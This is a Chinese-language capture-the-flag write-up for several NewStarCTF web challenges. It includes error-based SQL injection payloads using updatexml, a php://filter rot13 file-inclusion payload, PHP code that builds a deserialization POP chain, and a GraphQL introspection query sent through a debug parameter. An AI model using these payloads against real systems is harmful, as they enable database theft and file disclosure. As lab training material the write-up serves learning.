Word-For-You(2 Gen)
和week1 的界面一样不过当时我写题的时候出了个小插曲
连接 MySQL 失败: Access denied for user 'root'@'localhost'
这句话印在了背景,后来再进就没了,我猜测是报错注入
想办法传参 可以看到一个name=2,试着传参
发现有回显三个字段
爆库
~wfy~
尝试爆表
这是第一个
wfy_admin
wfy_comments
wfy_information
查看admin
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_admin' limit 0,1),0x7e),3)--+
记录一下所有列名:id,username、password、cookie
没有回显看下一个内容
记录一下列名:id、text、user、name、display,一共五个列
?name=-1' and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)--+
有回显
多输入几位看看有多少行数据,测试了一下,有12列,可以更换列名,挨个尝试
按照经验多半在text里
为了节约工作量这里可以用burp试,
发现flag:flag{Ju4t_m2ke_some_err0rs}
IncludeOne
很显然Hint需要用给的工具解开
去搜了一下这个工具要在虚拟机上用
最后结果是1202031004
第二个if是判断传入的file参数过滤base以及目录穿越
而且必须含有Newstar,最后需要包含flag.php
看起来是伪协议套一层协议
因为base被过滤了所以这里用rot13
payload=php://filter/read=string.rot13/newstar/resource=flag.php
flag{6e648778-bb69-49b9-9447-2b83433c4f74}
UnserializeOne
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
}
很明显是一道php反序列化的题,捋清pop链的顺序,然后构造pop链
__construct(),类的构造函数__destruct(),类的析构函数__call(),在对象中调用一个不可访问方法时调用__callStatic(),用静态方式中调用一个不可访问方法时调用__get(),获得一个类的成员变量时调用__set(),设置一个类的成员变量时调用__isset(),当对不可访问属性调用isset()或empty()时调用__unset(),当对不可访问属性调用unset()时被调用。__sleep(),执行serialize()时,先会调用这个函数__wakeup(),执行unserialize()时,先会调用这个函数__toString(),类被当成字符串时的回应方法__invoke(),调用函数的方式调用一个对象时的回应方法__set_state(),调用var_export()导出类时,此静态方法会被调用。__clone(),当对象复制完成时调用__autoload(),尝试加载未定义的类__debugInfo(),打印所需调试信息
我们最后要利用这个函数,echo file_get_contents('/flag');所以
__invoke()在最后使用,往上继续推public function __isset($var)
{
($this->func)();
这个调用__invoke(),继续一直往上推这样一个pop链就能写出来,这个函数调用 public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
然后pop链顺序为class Start(public function __destruct())--->class Sec(__toString())--->
class Easy(public function __call($fun, $var))--->class eeee(__clone())--->class Start(__isset($var))--->class Sec(__invoke())
值得注意的是,这有protected
,需要从类内部操作,不能从外面赋。改成public
<?php
class Start{public $name;public $func;
}class Sec{public $obj;public $var;
}class Easy{public $cla;
}class eeee{public $obj;
}$pop=new Start();
$pop->name=new Sec();
$pop->name->obj=new Easy();
$pop->name->var=new eeee();
$pop->name->var->obj=new Start();
$pop->name->var->obj->func=new Sec();echo urlencode(serialize($pop));
这里我有点不清楚
$pop->name->var=new eeee();
为啥var到eeee,一开始我个人觉得是这么整var->new Easy()->new eeee()我这里是试出来的因为原来构造出来的行不通,后来问了问学长说看var那个类里就行,obj-check(var),obj给那个有call的类,那个没有check方法,调call,call里有clone函数,clone var之后会调var的__clone
得出结果
我的火狐可能有点问题,一开始试了几次没出结果,然后重新打开网址可以了
这里还有一种构造思路
<?php
class Start{public $name;public $func;
}class Sec{public $obj;public $var;
}class Easy{public $cla;
}class eeee{public $obj;
}
$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();
$eeee->obj = $start;
$sec->obj = $easy;
$sec->var = $eeee;
$start->name = $sec;
$start->func = $sec;
echo serialize($start);?>
个人偏向前一直思路,可以直观的看出来
ezAPI
API(Application Programming Interface,应用程序接口)是指两个不同软件应用之间进行交互的一组方法。它是现代软件开发中不可或缺的一部分,让不同的应用程序能够相互通信、共享数据,并且以一种有序的方式进行整合。
- Web API
Web API是一组基于HTTP协议的RESTful API,它通常由Web服务器提供。此类API包括各种网络服务,如社交媒体、搜索引擎、电子商务等。开发人员可以使用Web API来获取第三方数据或在其他应用程序中共享数据。
Web API具有高度的可扩展性,并且可以通过API文档和API密钥进行访问控制。开发人员可以使用Web API来构建各种应用程序,如智能家居、移动应用程序等。
这题 一开始没有什么思路1输入1有回显
输入999查不到,并且报错,肯定是一种注入,一开始试了几种都没有用
查看源代码也没有什么收获,于是试了试robots.txt等
然后www.zip有用,打开文件
<!DOCTYPE html>
<html><head><meta charset="utf-8" /><title>Search Page</title><link rel="stylesheet" type="text/css" href="css/style.css" tppabs="css/style.css" /><style>body {height: 100%;background: #16a085;overflow: hidden;}canvas {z-index: -1;position: absolute;}</style><script src="js/jquery.js"></script><script src="js/verificationNumbers.js" tppabs="js/verificationNumbers.js"></script><script src="js/Particleground.js" tppabs="js/Particleground.js"></script><script>$(document).ready(function() {$('body').particleground({dotColor: '#5cbdaa',lineColor: '#5cbdaa'});});ß</script>
</head>
<!--unremove DEBUG function, please delete it-->
<body><dl class="admin_login"><dt><font color="white"><strong>Search Page Beta</strong></font></dt><form action="index.php" method="post"><dd class="user_icon"><input type="text" name="id" placeholder="用户ID" class="login_txtbx" /></dd><dd><input type="submit" value="Search" class="submit_btn" /></dd></form><br><center><font size="4px" color="white"><?phperror_reporting(0);$id = $_POST['id'];function waf($str){if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {return False;} else {return True;}}function send($data){$options = array('http' => array('method' => 'POST','header' => 'Content-type: application/json','content' => $data,'timeout' => 10 * 60));$context = stream_context_create($options);$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);return $result;}if (isset($id)) {if (waf($id)) {isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';$res = json_decode(send($data));if ($res->data->users_user_by_pk->name !== NULL) {echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;} else {echo "<b>Can't found it!</b><br><br>DEBUG: ";var_dump($res->data);}} else {die("<b>Hacker! Only Number!</b>");}} else {die("<b>No Data?</b>");}?></font></center></dl>
</body></html>
$data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'
这个数据没见过,去查了一下
这里是我第一次接触graphql
玩转graphQL (qq.com)这篇文章讲的很详细
GraphQL 是一个用于 API的查询语言,使用基于类型系统来执行查询的服务(类型系统由你的数据定义)。GraphQL 并没有和任何特定数据库或者存储引擎绑定,而是依靠你现有的代码和数据支撑。
如果你了解REST API会更快地了解它。像REST API,往往我们的请求需要多个API,每个API是一个类型。比如:http://www.test.com/users/{id} 这个API可以获取用户的信息;再比如:http://www.test.com/users/list 这个API可以获取所有用户的信息。
"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
利用内省查询看到所有接口情况
可以看到flag的文件
模仿一下上面给出的data格式 得到flag
flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}